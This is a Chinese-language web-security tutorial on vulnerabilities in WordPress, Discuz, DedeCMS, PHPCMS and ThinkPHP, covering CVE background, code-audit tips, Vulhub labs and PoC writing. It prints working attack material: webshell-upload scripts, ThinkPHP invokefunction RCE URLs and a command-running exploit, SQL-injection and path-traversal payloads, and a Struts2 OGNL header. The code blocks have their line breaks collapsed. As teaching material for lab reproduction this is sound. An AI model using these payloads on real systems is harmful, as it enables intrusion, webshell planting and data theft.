关于 Web 安全:6. 常见 CMS 开源系统风险点
一、WordPress
-  开源内容管理系统(CMS),使用 PHP + MySQL 构建; 
-  全球超过 40% 网站使用; 
-  支持插件、主题系统,功能可扩展性极强; 
-  也是风险点最多的系统之一,插件/主题贡献了大部分安全问题。 
1.1 WordPress 架构概览
(便于理解风险点位置)
WordPress
├── wp-admin/     → 后台管理界面
├── wp-content/
│   ├── themes/   → 前端模板(可能存在 XSS/上传)
│   └── plugins/  → 插件目录(最多风险点来源)
├── wp-includes/  → 核心函数库
├── wp-config.php → 配置文件(数据库连接信息)
├── index.php     → 网站首页入口
└── functions.php → 常见主题挂钩函数
1.2 WordPress 常见风险点类型
| 类型 | 描述 | 示例插件/位置 | 
|---|---|---|
| 任意文件上传 | 插件绕过上传限制,上传 PHP Shell | 文件管理类插件、主题上传点 | 
| SQL 注入 | 参数未过滤,注入数据库语句 | 如 WP Statistics | 
| XSS(跨站脚本) | 用户输入未过滤,注入 JS 脚本 | 评论、搜索框、帖子 | 
| CSRF | 未做 Token 验证的敏感操作 | 管理员点击恶意链接,触发敏感动作 | 
| RCE | 通过插件/主题风险点,远程执行任意 PHP 命令 | PHP Object Injection、eval() 后门 | 
| 信息泄露 | 暴露用户、路径、目录结构等 | xmlrpc 接口、REST API、目录遍历 | 
1.3 历史 CVE 风险点分析(含原理)
CVE-2019-8942 — 任意文件删除风险点
-  位置: wp-includes/functions.php
-  影响版本:WordPress < 5.0.1 
-  原理: -  wp_delete_attachment()可删除任意路径;
-  攻击者上传一个图片文件并删除对应路径可实现本地文件删除。 
 
-  
CVE-2020-25213 — 插件 File Manager RCE
-  插件名:File Manager(700k+ 安装) 
-  风险点描述: -  插件打包带了 elFinder文件管理器;
-  elFinder 中的 connector.minimal.php没有身份验证;
-  可直接上传恶意 PHP 文件并执行,实现 RCE。 
 
-  
-  利用路径: 
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
CVE-2017-1001000 — WP REST API 任意用户信息泄露
-  影响版本:4.7.x 
-  API 可被未授权访问,直接获取用户信息: 
GET /wp-json/wp/v2/users
1.4 POC 编写方法(以 RCE 为例)
示例:File Manager 插件 RCE POC
import requests  # 导入 requests 库,用于发送 HTTP 请求def upload_shell(url):  # 定义上传 WebShell 的函数,参数为目标网站地址# 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径upload_url = f"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"# 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHPfiles = {'upload[]': ('shell.php', b'<?php echo shell_exec($_GET["cmd"]); ?>', 'application/x-php')}try:# 发送 POST 请求将文件上传到服务器r = requests.post(upload_url, files=files, timeout=5)# 如果响应中包含“added”关键字,表示上传成功if "added" in r.text:print("[+] 上传成功!尝试访问 shell")  # 打印成功信息# 打印 WebShell 的访问地址,并附带测试命令 ?cmd=idprint(f"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id")else:print("[-] 上传失败")  # 上传不成功则输出失败信息except:print("[-] 请求失败")  # 请求过程中出现异常则输出失败信息upload_shell("http://127.0.0.1")  # 调用函数,传入本地测试地址作为目标网站地址
1.5 风险点复现平台
1)Vulhub
-  风险点靶场,提供 WordPress 相关复现环境 
-  使用方法: 
git clone https://github.com/vulhub/vulhub.git
cd vulhub/wordpress/CVE-XXXX-XXXX
docker-compose up -d
2)GitHub PoC 搜索
site:github.com wordpress poc
site:github.com wordpress CVE-2020-25213
常见 PoC 库:
-  https://github.com/projectdiscovery/nuclei-templates 
-  https://github.com/vulhub/vulhub 
-  https://github.com/nomi-sec/PoC-in-GitHub 
3)国内平台
| 平台 | 功能 | 
|---|---|
| CNVD | 查阅已知 WordPress 核心/插件风险点 | 
| 补天平台 | 提交 WordPress 风险点获得积分、赏金 | 
| 风险点盒子(历史) | 老平台,很多插件历史风险点记录 | 
1.6 系统性 WordPress 风险点挖掘
初级阶段:
-  安装 WordPress(建议用 Docker) 
-  安装热门插件(下载旧版本) 
-  配合 Burp Suite 抓包观察上传/请求 
中级阶段:
-  用 WPScan 自动化扫描插件风险点 
-  学习常见 CVE 利用过程 
-  手动构造 POC、复现请求 
高级阶段:
-  审计插件源码(PHP) 
-  分析插件 hook、filter、ajax 动态请求 
-  自己编写插件 + 引入风险点 → 学习风险点原理 
1.7 WPScan 工具推荐
wpscan --url http://127.0.0.1 --enumerate p
-  --enumerate u枚举用户
-  --enumerate p枚举插件
-  --api-token=xxx可查 CVE
1.8 小结
| 项目 | 内容 | 
|---|---|
| 学习方向 | 插件/主题安全、风险点分析、审计、PoC 编写 | 
| 高危点 | 任意上传、插件远程命令执行、反序列化 | 
| 实践方式 | 使用 Vulhub + GitHub POC + 自己编写上传脚本 | 
| 常用工具 | WPScan、Burp Suite、dirsearch、nuclei | 
二、Discuz
Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。
-  作者:Comsenz(腾讯收购) 
-  语言:PHP + MySQL 
-  用途:论坛、社区系统(可与 UCenter 集成) 
-  文件结构:功能集中在 source/目录,交互入口在forum.php、member.php等
2.1 Discuz 常见风险点类型
| 风险点类型 | 描述 | 常见位置 | 
|---|---|---|
| SQL注入 | 参数拼接未过滤 | 搜索、登录、插件参数 | 
| 任意文件上传 | 绕过 MIME 检测 | 上传头像、主题封面、插件 | 
| XSS 跨站脚本 | 输入未过滤、富文本风险点 | 帖子内容、签名、头像路径 | 
| CSRF 跨站请求伪造 | 缺少 formhash 校验 | 注册、发帖、添加管理员 | 
| 远程代码执行 RCE | 利用 eval / preg_replace / 动态 include | 插件模板、缓存文件 | 
| 任意文件读取/包含 | 用户输入拼接文件路径 | include、require、loadcache | 
| SSRF/命令注入 | 管理后台中图片链接处理 | 头像抓取、远程图片 | 
2.2 Discuz 文件结构
利于风险点定位
Discuz/
├── admin.php          → 后台入口
├── forum.php          → 主页面逻辑
├── uc_server/         → 用户中心(UCenter)
├── source/
│   ├── function/      → 核心函数库
│   ├── module/        → 模块控制器
│   ├── plugin/        → 插件目录
│   ├── class/         → 类库
│   └── include/       → 各类配置及逻辑函数
├── config/
├── data/
│   ├── cache/         → 缓存,某些可写导致 RCE
│   └── template/      → 模板编译生成目录
└── template/          → 前端模板
2.3 典型 CVE 和历史风险点详解
1)Discuz! X3.4 前台 getshell 风险点(无 CVE,影响广泛)
-  版本:Discuz X3.4 < R20211215 
-  入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录 
-  关键点:上传路径 data/cache/common.php被 include,成功 getshell
原理:
// source/function/function_core.php
// 文件缓存内容直接 include
if(file_exists($cachefile)) {include $cachefile;
}
-  攻击者构造上传内容为 PHP 代码,绕过格式检测; 
-  上传后缓存被 include,即可远程执行 PHP。 
2)CVE-2013-2087 — SQL 注入风险点
-  版本:Discuz 7.2 
-  位置: misc.php?mod=patch
-  参数: serial直接进入 SQL 查询,未做参数过滤
-  影响:可爆库、登录后台、提权等 
3)XSS 风险点 — 签名/主题
-  签名设置时可以写入 <script>;
-  管理员后台查看时触发; 
-  可构造Cookie 窃取 / CSRF 搭配使用实现提权 
2.4 利用方式与 POC 编写
示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell
import requests# 修改为你的目标站点
target = 'http://127.0.0.1/discuz/'# 构造上传内容(PHP一句话)
payload = {'Filedata': ('shell.jpg', b'<?php eval($_POST["cmd"]);?>', 'image/jpeg')
}headers = {'User-Agent': 'Mozilla/5.0','Cookie': 'your_cookie_here'  # 登录后的 Cookie
}upload_url = target + 'misc.php?mod=swfupload&action=swfupload&operation=album&type=image'
r = requests.post(upload_url, files=payload, headers=headers)print('[+] 上传完成,检查是否写入缓存并被 include')
2.5 风险点挖掘思路
| 目标 | 方法 | 
|---|---|
| 上传风险点 | 搜索 move_uploaded_file/copy函数 | 
| SQL注入 | 搜索 $sql = "SELECT ... $_GET/$_POST" | 
| XSS | 搜索 echo $_GET/$_POST/$_COOKIE | 
| 文件包含 | 搜索 include($_GET)、require($var) | 
| CSRF | 找 form 操作是否校验 formhash | 
2.6 工具推荐
1)Burp Suite + 插件(xss validator、upload scanner)
2)代码审计工具
-  Seay Source Code Auditor(国产,支持 PHP) 
-  RIPS(开源静态分析工具) 
-  VSCode + 全局搜索 
3)自动化风险点检测框架
-  dirsearch、nuclei、WhatWeb:探测后台与目录结构 
-  sqlmap:测试 SQL 注入 
2.7 风险点复现平台
| 平台 | 说明 | 
|---|---|
| CNVD | 查 Discuz 历史风险点 | 
| 风险点盒子 | 搜 Discuz + 风险点类型(如“discuz 文件上传”) | 
| 补天平台 | 真实站点测试(白帽子平台) | 
| GitHub PoC 搜索 | 直接下载复现脚本或 Fuzz 工具 | 
| Vulhub | 虽未内置 Discuz,可自行搭建测试环境 | 
2.8 系统学习 Discuz 风险点
推荐流程:
-  本地搭建环境: -  使用 LNMP(或 XAMPP/WAMP)搭建 Discuz 
-  安装常用插件如“X附件管理”、“门户扩展”、“积分商城” 
 
-  
-  手动分析风险点: -  查找上传入口、动态 include 文件 
-  配合 burp 抓包分析请求参数 
 
-  
-  复现公开风险点: -  利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本 
-  改写为 POC/EXP,加深理解 
 
-  
-  源码审计(进阶): -  审计 source/function、module/plugin 目录 
-  重点函数: include,eval,move_uploaded_file,DB::query
 
-  
2.9 小结
| 内容 | 说明 | 
|---|---|
| 核心风险 | 上传点+缓存路径包含、插件不安全参数 | 
| 高危函数 | eval、preg_replace、include、require、DB::query | 
| POC 编写 | 抓包分析请求路径、构造上传/注入/脚本内容 | 
| 建议练手 | X3.4 缓存上传 RCE、XSS(签名)、SQL注入 CVE-2013-2087 | 
| 推荐技能 | 熟悉 PHP、掌握 Burp Suite、代码审计技巧 | 
三、dedecms
-  作者:织梦科技(dede58.com / dedecms.com) 
-  语言:PHP + MySQL 
-  用途:中小型企业官网、个人站、博客系统,国内使用广泛 
-  特性:模板灵活、后台功能强,但安全设计薄弱 
3.1 DedeCMS 常见风险点类型
| 风险点类型 | 说明 | 风险点位置举例 | 
|---|---|---|
| SQL注入 | 参数拼接未过滤 | member、plus、diy模块 | 
| 任意文件上传 | 上传文件未做类型校验或扩展名绕过 | 模板文件上传、自定义表单上传 | 
| 远程命令执行(RCE) | 利用 include + 用户可控路径等构造 | include 动态拼接 | 
| 任意文件删除 | 可控路径拼接 unlink 函数 | 缓存清除/图片处理等 | 
| 任意文件读取 | 拼接 include 路径、读取配置、数据库备份文件 | 下载备份数据库、模板泄漏 | 
| XSS | 页面未对用户输入做转义 | 留言板、评论、会员资料、搜索框 | 
| CSRF | 缺少 token 检查,用户操作被劫持 | 后台配置、会员注册或密码修改等 | 
3.2 重要目录结构
dedecms/
├── dede/                 → 后台目录(默认可自定义)
├── plus/                 → 模块扩展接口(如留言板、搜索)
├── uploads/              → 用户上传目录
├── include/              → 核心库函数
├── data/                 → 数据库备份 / 配置文件 / 可读可写
├── templets/            → 前端模板目录
├── member/              → 用户系统模块
└── install/             → 安装程序
3.3 典型风险点与 CVE 实例详解
1)CVE-2018-6910 — 任意文件删除风险点
-  位置: /plus/recommend.php
-  原理: -  参数 aid为用户控制,最终调用了unlink删除文件
-  可拼接删除任意文件,如: ../../data/admin/config.php
 
-  
// plus/recommend.php
@unlink($cfg_basedir.$row['litpic']);
2)任意文件上传(getshell) — no CVE
-  版本:DedeCMS v5.7 SP2 / SP3 多版本 
-  位置:会员中心 / 模板管理上传 / 自定义表单 
// dede/templets.php
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cfg_basedir.$filename);
-  可以构造上传 .php;.jpg文件绕过检查
-  上传路径可控,如 uploads/a.php
3)SQL 注入风险点
-  位置: plus/diy.php,plus/search.php,member/guestbook.php等
-  危险函数: $dsql->Execute(),GetOne(),ExecuteNoneQuery()
// plus/diy.php
$query = "SELECT ... WHERE id='$id'";
// id 未过滤,拼接到 SQL
- 利用 id=1' or updatexml(1,concat(0x7e,user()),0) --+可回显错误
4)远程代码执行风险点(RCE) — include 拼接
- 位置:/include/common.inc.php中存在动态包含
require_once(dirname(__FILE__).'/../'.$some_var.'.php');
- 如果 $some_var可控,则可实现任意包含或代码执行
3.4 风险点挖掘与 POC 编写方法
示例:DedeCMS 任意文件上传 Getshell(会员中心)
攻击流程:
-  登录会员中心 
-  上传头像时绕过检查上传 php 
-  利用访问上传路径执行恶意代码 
简易 POC:
import requestsurl = 'http://target.com/uploads/'
file = {'file1': ('shell.php', '<?php eval($_POST["cmd"]); ?>', 'application/octet-stream')}r = requests.post('http://target.com/dede/templets_add.php', files=file)
if 'success' in r.text:print('[+] Upload success')print(f'[+] Shell: {url}shell.php')
3.5 代码审计思路
| 目标类型 | 搜索关键词 | 
|---|---|
| 上传风险点 | move_uploaded_file,copy | 
| SQL 注入 | SELECT * FROM,WHERE,$_GET,$_POST | 
| 文件包含/执行 | include,require,eval | 
| 文件删除 | unlink,@unlink | 
| 读取敏感信息 | readfile,fopen | 
3.6 复现环境搭建
方式一:Docker 环境搭建
git clone https://github.com/vulhub/vulhub
cd vulhub/dedecms/CVE-2018-6910
docker-compose up -d
访问:http://localhost:8080
方式二:手动搭建
-  下载 dedecms 安装包(如 5.7 SP2) 
-  本地配置 LNMP / XAMPP 环境 
-  修改后台目录名( dede/)确保路径一致
-  添加测试数据,构造 payload 
3.7 风险点资源获取平台
| 平台 | 用法示例 | 
|---|---|
| CNVD | 搜索关键词 DedeCMS,获取风险点编号和说明 | 
| 风险点盒子 | 搜 织梦,dedecms,查看历史风险点和 PoC | 
| 补天平台 | 查询真实站点 DedeCMS 风险点情况 | 
| GitHub PoC | 搜索 dedecms poc exploit | 
| SecWiki | 整理常见 CMS 风险点 | 
3.8 系统性 DedeCMS 风险点挖掘
初级:
-  熟悉后台结构、模板上传逻辑、plus 接口参数 
-  练习 CVE-2018-6910(任意删除)和常见文件上传 
中级:
-  审计 member/plus/dede/include 目录代码 
-  编写 burp 插件抓包分析自定义上传逻辑 
高级:
-  分析 include/common.inc.php 加载流程 
-  搜索 eval,include,require,fwrite,做静态审计
3.9 小结
| 内容 | 说明 | 
|---|---|
| 高危函数 | eval, include, move_uploaded_file, unlink | 
| 容易被攻击点 | 模板上传、会员资料、plus 接口 | 
| 实战推荐风险点 | 任意删除 CVE-2018-6910、模板上传 Getshell | 
| 推荐平台与工具 | GitHub PoC、Vulhub、Burp Suite、Seay 审计工具 | 
| 建议 | 本地搭环境,复现 + 审计结合,逐步深入理解源码 | 
四、phpcms
-  名称:PHPCMS(PHP内容管理系统) 
-  作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护 
-  语言:PHP + MySQL 
-  版本:常见使用版本为 PHPCMS v9 
目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。
4.1 重要目录结构
phpcms/
├── phpcms/          ← 核心文件
├── caches/          ← 缓存目录,可写
├── statics/         ← 静态资源
├── api/             ← 接口模块
├── install/         ← 安装目录
├── member/          ← 会员中心
├── admin/           ← 管理后台
├── uploadfile/      ← 文件上传(可传马)
└── configs/         ← 数据库配置等
4.2 常见风险点类型总结
| 类型 | 简述 | 
|---|---|
| 任意文件上传 | 上传头像、编辑器附件、模板等绕过限制,获取 webshell | 
| SQL 注入 | 使用 $this->db->query()拼接参数导致注入 | 
| 远程命令执行 | 用户参数拼接后用于 eval、assert等 | 
| 任意文件包含 | include($_GET['mod'].'.php')这类形式 | 
| 任意文件读取 | readfile($filename)或file_get_contents($_GET['f']) | 
| 任意文件删除 | unlink($_GET['file'])等未验证参数 | 
| 后台绕过 | 管理登录验证绕过、验证码绕过 | 
| XSS/CSRF | 富文本/评论系统等 | 
4.3 典型风险点实例详解(含 CVE)
1)任意文件上传风险点(webshell)
-  位置: phpcms/modules/member/index.php
-  原理: -  注册会员上传头像时,没有过滤扩展名或上传路径可控 
-  可以上传 a.php;.jpg或通过目录穿越写入.php
 
-  
实战流程:
-  注册账号,访问上传接口 
-  上传恶意 webshell
-  构造访问路径执行命令 
示例代码:
// member/index.php
$filepath = 'uploadfile/avatar/' . $userid . '.jpg';
move_uploaded_file($_FILES['Filedata']['tmp_name'], $filepath);
构造 payload:
POST /index.php?m=member&c=index&a=upload HTTP/1.1
...
Filedata = shell.php;.jpg   // 后缀绕过
2)SQL 注入风险点(无WAF场景高回显)
-  位置: /api.php,参数未过滤
-  CVE:CVE-2018-19127 
-  POC: 
http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=' and updatexml(1,concat(0x7e,user()),1) --+
- 可直接报错注入,回显数据库用户名等敏感数据
3)任意文件读取风险点
-  位置: phpcms/modules/content/down.php
-  风险点点: 
$filename = $_GET['f'];  // 未限制后缀名和目录
readfile($filename);
- 构造访问:
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php
4)任意文件包含风险点
-  CVE:CVE-2018-19126 
-  位置: phpcms/modules/search/index.php
-  核心代码: 
require_once PHPCMS_PATH.'include/'.$module.'.php';
- 构造:
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell
前提是可控上传 + include。
4.4 POC 编写方式
以上传风险点为例,编写 POC 时通常包含三步:
-  构造上传请求 
files = {'Filedata': ('shell.php;.jpg', '<?php eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(upload_url, files=files)
- 判断是否上传成功
if 'success' in r.text and 'shell.php' in r.text:print("Upload Success")
- 发送命令执行测试
test = requests.post(shell_url, data={'cmd': 'phpinfo();'})
if 'PHP Version' in test.text:print("Shell is working")
4.5 复现平台
| 平台 | 使用方式 | 
|---|---|
| CNVD | 搜索关键词 phpcms查看风险点编号、通告 | 
| 补天平台 | 搜 “phpcms” 查看实战攻击记录 | 
| GitHub POC | 搜 phpcms poc exploit | 
| Vulhub | 提供 CVE-2018-19126 等复现环境 | 
| 风险点盒子镜像 | 查找历史风险点投稿 | 
| Seebug | 有详细风险点分析文章 | 
4.6 本地搭建复现环境
方法一:使用 Vulhub
git clone https://github.com/vulhub/vulhub
cd vulhub/phpcms/CVE-2018-19126
docker-compose up -d
访问:http://localhost:8080
方法二:手动搭建
-  下载 PHPCMS v9 
-  配置 LNMP 环境 
-  配置 MySQL 及数据库账号 
-  添加测试数据并尝试风险点构造 
4.7 代码审计技巧
| 审计目标 | 检查方式 | 
|---|---|
| 上传函数 | move_uploaded_file,copy,fwrite,配合$_FILES使用 | 
| SQL语句拼接 | $db->query("select * from ... ".$_GET['id']) | 
| 动态执行函数 | eval(),include,require | 
| 文件读取 | readfile,file_get_contents,fopen | 
4.8 学习建议
入门阶段
-  学会搭建 phpcms v9 环境 
-  练习 CVE-2018-19126 文件包含 
-  抓包分析上传接口逻辑 
进阶阶段
-  熟练编写文件上传、注入、包含类风险点 POC 
-  尝试代码审计 phpcms/modules/* 路径下各模块 
-  搜索高危函数 eval,assert,unserialize
4.9 小结
| 内容 | 说明 | 
|---|---|
| 高危点 | 上传接口、search 模块、down 模块 | 
| 推荐复现风险点 | CVE-2018-19126、上传 getshell | 
| 平台与资源 | GitHub PoC、Vulhub、CNVD、补天 | 
| 学习方向建议 | 审计 + 搭建复现 + 写 PoC + 看 CVE | 
五、ThinkPHP
-  全称:ThinkPHP Framework 
-  作者/团队:TopThink(国人开发) 
-  语言:PHP 
-  版本体系: -  ThinkPHP 3.x(大量站点仍在用) 
-  ThinkPHP 5.x(5.0、5.1) 
-  ThinkPHP 6.x(最新版,重构了架构) 
 
-  
安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。
5.1 常见风险点类型
| 风险点类型 | 简述 | 
|---|---|
| RCE(远程命令执行) | 路由解析器对控制器/方法名未做严格过滤 | 
| SQL注入 | 部分版本参数拼接或query手动执行导致注入 | 
| 变量覆盖 | 使用 extract、parse_str 导致全局变量被覆盖 | 
| 文件包含 | 使用 include($file)时未限制路径 | 
| 信息泄露 | debug 模式、trace、日志接口未关闭 | 
| 任意文件写入/上传 | 模板写入、日志写入可导致任意写文件 | 
5.2 核心风险点详解
1)ThinkPHP 5.0.23 RCE(经典)
-  编号:无 CVE,但极其广泛 
-  影响版本:ThinkPHP 5.0.0 ~ 5.0.23 
-  原因:路由系统未限制模块/方法名,导致 __construct()被执行
请求构造:
POST /index.php?s=/index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded_get[]=phpinfo
-  解释: -  /index.php?s=/index/\think\Request/input利用了 PHP 类自动加载
-  调用了 Request::input()方法
-  _get[]数组会被传给input方法,最终触发命令执行
 
-  
利用函数:
-  system()
-  phpinfo()
-  assert()
2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)
-  编号:CVE-2018-20062 
-  原理:控制器反射调用,构造调用方法并传参触发命令执行 
利用路径:
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
-  App::invokeFunction()会调用任意函数phpinfo,传参为1
-  支持调用 system,exec,shell_exec
攻击链:
\think\App -> invokeFunction(function, args) -> call_user_func_array
3)变量覆盖导致任意文件写入
-  原理: -  日志系统使用 extract() 获取变量 
-  利用日志写入点 + 后缀伪造写入 webshell 
 
-  
利用条件:
-  日志目录可写 
-  文件内容可控(如写入 <?php eval($_POST['cmd']); ?>)
5.3 POC 编写思路(以 5.0.23 RCE 为例)
POC 核心思路:
-  发送 POST 请求执行 phpinfo()测试 RCE 是否存在
-  改成 system('id')实现命令执行
import requestsurl = 'http://target.com/index.php?s=/index/\\think\\Request/input'
data = {'_method': '__construct', 'filter[]': 'phpinfo', 'server[REQUEST_METHOD]': '1'}r = requests.post(url, data=data)if 'PHP Version' in r.text:print("[+] ThinkPHP RCE 存在!")
5.4 审计技巧与代码分析重点
| 关键位置 | 说明 | 
|---|---|
| route.php | 路由定义和闭包函数可能执行 | 
| app()->run() | 核心入口函数 | 
| App::invokeFunction | 可反射执行任意函数 | 
| Request::input() | 读取任意输入数据 | 
| Config::get() | 读取配置(信息泄露点) | 
| Log::write() | 可控写入日志 | 
5.5 复现平台
| 资源平台 | 用途与说明 | 
|---|---|
| Vulhub | 提供 TP 5.0.23、5.1.6 风险点环境 | 
| GitHub POC | 搜索 thinkphp RCE CVE poc | 
| CNVD | 查询国内披露的 TP 风险点 | 
| Seebug | 优质风险点分析文章与实战案例 | 
| 风险点盒子/补天 | 有丰富的 TP 实战提交和案例 | 
5.6 本地环境复现(Vulhub)
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d
访问:http://localhost:8080 可直接使用 PoC 测试是否存在风险点
5.7 实战挖掘技巧
1)路由注入点识别
-  /index.php?s=/是否存在?
-  是否允许使用 \think\类名构造请求?
2)控制器调用链梳理
-  查看是否存在反射执行点 App::invokeFunction,Loader::action
3)日志/模板写入点
-  查看 Log::write()是否内容可控
-  模板编译缓存是否在 web 根目录( runtime/temp/*.php)
4)DEBUG 模式信息泄露
访问:
/index.php?s=/index/\\think\\app/invokefunction&function=phpinfo
/index.php?debug=1
5.8 版本风险点
| 版本 | 风险点 | CVE/说明 | 
|---|---|---|
| TP 5.0.23 | RCE via Request::input | 无 CVE,经典构造 | 
| TP 5.1.6 | RCE via App::invokeFunction | CVE-2018-20062 | 
| TP 3.2.3 | SQL 注入、变量覆盖 | 存在多个未修复风险点 | 
| TP 通用 | 任意方法调用、任意文件写入、debug 泄露 | 取决于配置与代码写法 | 
5.9 学习建议
| 阶段 | 学习建议 | 
|---|---|
| 入门 | 跑通 Vulhub 的 TP 风险点复现,理解控制器调用链 | 
| 进阶 | 熟悉框架路由机制、反射函数执行机制 | 
| 提升 | 自己写一个小风险点框架或扫描器,挖私有站风险点 | 
六、CVE 利用方式
6.1 什么是 CVE?
-  CVE 编号示例:CVE-2018-20062 
-  组成: CVE-年份-编号,如CVE-2023-XXXX
-  意义:为安全研究者提供一个统一引用风险点的“身份证”。 
6.2 CVE 风险点利用的一般步骤
| 步骤 | 说明 | 
|---|---|
| ① 查找 CVE 信息 | 在 NVD、Exploit-DB、Seebug、CNVD 上查询 | 
| ② 理解风险点原理 | 阅读风险点分析报告,梳理调用链与触发点 | 
| ③ 环境搭建 | 使用 Vulhub、Docker、本地源码构建环境 | 
| ④ 编写 PoC | 构造触发风险点的数据包或请求 | 
| ⑤ 执行利用 | 利用风险点执行命令、读取文件、getshell 等 | 
| ⑥ 留痕排查 | 查看日志、修复补丁、写风险点检测脚本 | 
6.3 CVE 利用类型示例(Web 安全领域)
| 类型 | 示例 CVE | 利用方式 | 
|---|---|---|
| RCE(远程命令执行) | CVE-2018-20062(ThinkPHP) | 构造反射函数调用执行命令 | 
| SQL注入 | CVE-2022-36804(Jira) | 在查询参数中注入 SQL 语句 | 
| 文件上传 | CVE-2023-25136(某 CMS) | 构造非法上传绕过后缀检查 | 
| 文件包含 | CVE-2019-6340(Drupal) | 包含远程代码并执行 | 
| 任意文件读取 | CVE-2021-43798(Grafana) | 利用路径穿越读取系统文件 | 
6.4 CVE 利用方式深入分析:以两个 CVE 为例
案例一:ThinkPHP RCE(CVE-2018-20062)
风险点概述:
-  利用了 App::invokeFunction()方法未做权限验证,可远程执行任意函数
请求方式:
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
实现效果:
-  执行任意 PHP 函数,如 system("id")
利用步骤:
-  本地搭建 ThinkPHP 5.1 环境 
-  访问上方构造的 URL 
-  响应中出现 PHP 版本信息或执行结果 
案例二:Apache Struts2 RCE(CVE-2017-5638)
风险点:
-  Apache Struts2 文件上传组件使用 Content-Type头触发 OGNL 表达式执行
Payload 示例:
Content-Type: %{(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Test","Exploit"))}
执行效果:
-  执行任意命令,如 whoami、反弹 shell
6.5 CVE PoC 编写方法(以 Web 为例)
1)PoC 基本结构
import requestsdef test(url):payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"res = requests.get(url + payload)if "PHP Version" in res.text:print("[+] 风险点存在")else:print("[-] 风险点不存在")test("http://127.0.0.1")
2)攻击型 Exploit 示例(RCE)
import requestsdef exploit(url, cmd):payload = f"/index.php?s=/index/\\think\\App/invokefunction&function=system&vars[0]={cmd}"res = requests.get(url + payload)print(res.text)exploit("http://127.0.0.1", "id")
6.6 常用平台查找 CVE 和 POC
1)官方平台
| 名称 | 地址 | 说明 | 
|---|---|---|
| NVD | https://nvd.nist.gov | 官方 CVE 数据库 | 
| CVE 官网 | https://cve.mitre.org | CVE 编号查询 | 
| CNVD | https://www.cnvd.org.cn | 国内风险点库 | 
2)POC/EXP 平台
| 平台 | 用途 | 
|---|---|
| Exploit-DB:https://www.exploit-db.com | 收录 CVE 的 Exploit 代码 | 
| GitHub(搜索 CVE-xxxx) | 搜索开源 POC/EXP | 
| Seebug:https://paper.seebug.org | 中文分析报告与 POC | 
| 风险点盒子、补天平台 | 可上传和复现 CVE | 
| Vulhub:https://github.com/vulhub/vulhub | 提供 CVE 对应的 Docker 风险点复现环境 | 
6.7 CVE 实战思路总结
-  先搜索 CVE 编号(Google、NVD、Seebug) 
-  确认版本是否影响 
-  在 Vulhub 构建复现环境 
-  写 POC 脚本测试回显 
-  扩展为批量检测脚本、自动化利用工具 
-  提交风险点平台如补天、SRC 或 GitHub 
七、POC 编写方法
PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:
-  风险点复现与验证 
-  自动化扫描 
-  提交风险点平台(如补天、CNVD) 
-  作为风险点利用(EXP)的前置阶段 
重点是“验证”,不是“攻击”。PoC 不应对目标造成破坏。
7.1 PoC 的基本结构
PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果
import requestsdef poc(url):payload = "..."  # 构造恶意请求res = requests.get(url + payload)if "风险点特征" in res.text:print(f"[+] {url} 存在风险点!")else:print(f"[-] {url} 不存在风险点。")
7.2 常见风险点类型的 PoC 编写模板
1)远程命令执行(RCE)
以 ThinkPHP RCE 为例(CVE-2018-20062):
def thinkphp_rce(url):payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"try:res = requests.get(url + payload, timeout=5)if "PHP Version" in res.text:print(f"[+] 存在RCE风险点: {url}")else:print("[-] 不存在风险点")except:print("[-] 请求失败")
2)SQL 注入风险点
以某 CMS POST 注入为例:
def sql_injection(url):data = {"username": "admin","password": "admin' OR 1=1-- "}res = requests.post(url, data=data)if "欢迎您" in res.text or "dashboard" in res.text:print(f"[+] SQL注入成功: {url}")else:print("[-] SQL注入失败")
3)任意文件读取
以 Grafana 任意文件读取(CVE-2021-43798)为例:
def read_file(url):payload = "/public/plugins/alertlist/../../../../../../../../etc/passwd"res = requests.get(url + payload)if "root:x:0:0:" in res.text:print(f"[+] 存在任意文件读取: {url}")else:print("[-] 风险点不存在")
4)文件上传绕过
常见场景是上传 php 文件绕过后缀验证:
def file_upload_poc(upload_url):files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}res = requests.post(upload_url, files=files)if "上传成功" in res.text:print(f"[+] 文件上传成功,可能存在风险点")
7.3 编写 PoC 的核心技巧
1)如何构造 Payload?
-  利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异 
-  分析风险点原理,寻找参数、路径或头部注入点 
-  参考 Github / Exploit-DB 的 PoC 样例进行改写 
2)如何判断是否成功?
-  关键词判断法:如 "PHP Version"、"uid="、"root:x:0"等
-  响应长度变化 
-  HTTP 状态码 
-  响应头部特征 
3)如何提升 PoC 自动化能力?
-  增加 URL 检测逻辑,自动补全路径 
-  增加 timeout/重试机制 
-  支持批量扫描、读取目标列表 
-  添加可视化或日志记录模块 
示例:批量扫描 PoC 框架
